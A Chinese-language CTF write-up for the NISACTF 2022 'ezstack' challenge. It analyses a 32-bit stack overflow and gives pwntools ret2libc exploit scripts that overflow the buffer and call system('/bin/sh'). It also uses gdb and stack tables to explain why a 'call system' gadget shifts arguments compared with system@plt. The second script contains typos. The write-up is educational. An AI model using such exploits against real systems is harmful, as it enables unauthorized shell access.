[NISACTF 2022]ezstack
目录
[!note] 关联入口:PWN题目索引
ezstack - 题目复盘
[!info] 题目信息
- 比赛:NISACTF
- 题目:ezstack
- 难度:★★☆☆☆
- 保护机制:NX
- 漏洞类型:栈溢出
- 利用技术:ret2libc
- 架构:x86-32位
前言: 这是一个32位程序,所以与64位程序有着不小的区别。对于pwn而言,在写exp时需要注意的就是函数调用约定的不同。这里读者可以自行搜索相关资源学习,如果真的不清楚,文字是很难讲清楚这件事的。我这里推荐一个b站的视频,不过时长有些感人,但我觉得作为pwn手,你要具备吃苦的品质。 # XMCVE 2020 CTF Pwn入门课程 可以直接看第6集,有讲32位系统的ret2libc技术,老师画了详细的栈帧图讲解,很负责认真。
这道题还是很新手的,本来不打算做复盘笔记,但由于这道题解决了我一个对于call指令的“误解”,所以在此记录个人的领悟心得。
漏洞分析
.data段 存在 bin/sh 因此,可以通过构造栈帧,将该参数传入 system() ,实现获取终端的效果。
栈帧通过 shell() 函数溢出构造ROP
解题步骤
① 静态分析
这里我画了详细的栈帧图,配合文字,相信读者能够理解我的意思。
(ps:图片中rbp有误,应为ebp)
左侧的栈帧图是截止到 0x50A 的地方,右侧的栈帧图不完整,只画了 0x51D ~ 0x52A 关键部分的栈帧
先看左侧,简单计算一下,可以得出:
由于是32位程序,所以 save_ebp 占4字节,呢么我们可操作空间为 20 字节 | 5操作位(这个名字是我起的)
我们的ROP也就是在这5个操作位上搭建的,思路已经分析过了,在这里我想先讲一下call,也就是我右侧的栈帧图,后面会提供两种 exp,用的方法有细微的区别,但很重要!
这里我们将注意力放到 0x525 call _read 。
call指令等价于:
push next_rip ;下一条指令
jmp 函数地址 ;这里就是read@plt地址
看右侧栈帧图前三部分,这都是 call 指令之前的三个压栈指令 对应read() 函数的三个参数(由于32位参数放在栈上),所以第四个位置,放入的是 add_esp 10h 这正是 call _read 的下一条指令!
也正是由于这个特性,在32位调用约定下,所有函数的第一个参数都是上移2个距离的位置保存,这点很重要。
② 动态调试
这里给大家动调一下看看右侧的栈帧在 pwngdb 中的体现:
emmm调试的过程中,我发现了一个小小的问题。就是32位程序,ebp指针是不动的,这里由于本人学识有限,可能我想错了,但确实在步入(si) call _read() 内部,并没有 push ebp
这里我能力有限无法解答这个问题,但我前4条栈帧都是分析对的,只有第五条栈帧是在我意料之外的:
然后这里我遇到了一开始无法gdb程序,需要设置两条参数,还有后续的步骤我都放在这里,读者可以逐行复制运行
set follow-fork-mode parent #GDB 不会跟进 child 的 execset follow-exec-mode parentdelete #删除所有断点b *0x8048525 # call _read()rs # 步入函数内部stack 30③ 利用开发
第一种,使用 call _system gadget来调用
from pwn import *# io = remote('node5.anna.nssctf.cn',27166)io = process('./pwn')context.log_level = "debug"call_system = 0x8048512binsh_addr = 0x804A024
payload = b'a' * (0x48 + 4)payload += p32(call_system)payload += p32(binsh_addr)
io.sendlineafter(b'Welcome to NISACTF\n',payload)io.interactive()第二种,使用 system@plt gadget来调用,二者有着细微的差别!我只录入了中间不一样的部分:
....elf = ELF('./pwn')system_plt = elf.symble['system']binsh_addr = 0x804A024
payload = b'a' * (0x48 + 4)payload += p32(system_plt)paylaod += p32(1) # <----这里不一样!paylaod += p32(binsh_addr)....④ 最终利用
工具使用
pwndbg,IDA
关键收获
搞清楚 call libc的函数与直接调用 plt 表中libc地址的区别
技术洞察
其实这道题出简单了,正常来讲应该不给 bin/sh 字符串的,会给你一个可写地址让你自己写入该 buf 再传入 system() 栈帧如下:
踩坑记录
可能我过于啰嗦了,但我还是想呈现清楚这之间的区别。这里附上我修改后的AI回答,但更加全面和细致。 我们分析如下payload 的栈帧:
payload += p32(A情况:system@plt || B情况:call_system)paylaod += p32(1)paylaod += p32(binsh_addr)我们来深入剖析一下想法。核心疑问在于:为什么我们通常用 system 的 PLT 地址,而不是直接跳回到代码段里的 call system 指令?
这里有一个非常微小但致命的区别,在于 call 指令本身的行为。
让我们来模拟一下这两种情况。
1. call 指令到底做了什么?
在 x86 汇编中,call address 实际上等价于两个动作的组合:
push next_eip:把紧接着call指令后面的那条指令的地址(也就是原本函数执行完system后该回来的地方)压入栈顶。jmp address:跳转到目标函数。
2. 场景对比
假设 padding(你预留的返回地址位置)是 0xdeadbeef(无意义数据),/bin/sh 的地址是 0x0804A024。
✅ 场景 A:标准的 Ret2Libc (跳向 PLT)
我们将 Return Address 覆盖为 system 的 PLT 地址。 栈的布局(在 system 函数刚开始执行的那一瞬间):
| 相对位置 | 内容 | 解释 |
|---|---|---|
ESP + 8 | … | … |
ESP + 4 | 0x0804A024 (/bin/sh) | 参数 1:system 向这里看参数 |
ESP | 0xdeadbeef (padding) | 返回地址:system 以为这是它的返回地址 |
👉 system 也就是去读 [ESP + 4],成功拿到了 /bin/sh。
❌ 场景 B:你的方案 (跳向 call system 指令)
你构造的 Payload 顺序:ret_gadget -> 0x8048512 (call指令地址) -> padding -> bin/sh。
我们来一步步执行:
- 执行
retgadget:-
pop eip:EIP 变为0x8048512。 -
ESP向下移动,现在指向了padding。
-
- 执行
0x8048512(call _system):-
⚠️ 关键动作:
call指令首先会把原本代码中call后面那条指令的地址(即0x8048517)压入栈中。 -
ESP向上移动 4字节(指向了新压入的0x8048517)。 -
跳转到
system。 栈的布局(在system函数刚开始执行的那一瞬间):
-
| 相对位置 | 内容 | 解释 |
|---|---|---|
ESP + 8 | 0x0804A024 (/bin/sh) | 在这里 |
ESP + 4 | 0xdeadbeef (padding) | 参数 1:😱 system 读取到了 padding! |
ESP | 0x8048517 (原代码返回地址) | 返回地址:call 自动压入的 |
看到了吗?因为 call 指令多压入了一个返回地址,导致栈上的数据整体“错位”了一个格。
模式识别
关联题目
扩展思考
无
创建时间:2025-12-03 19:55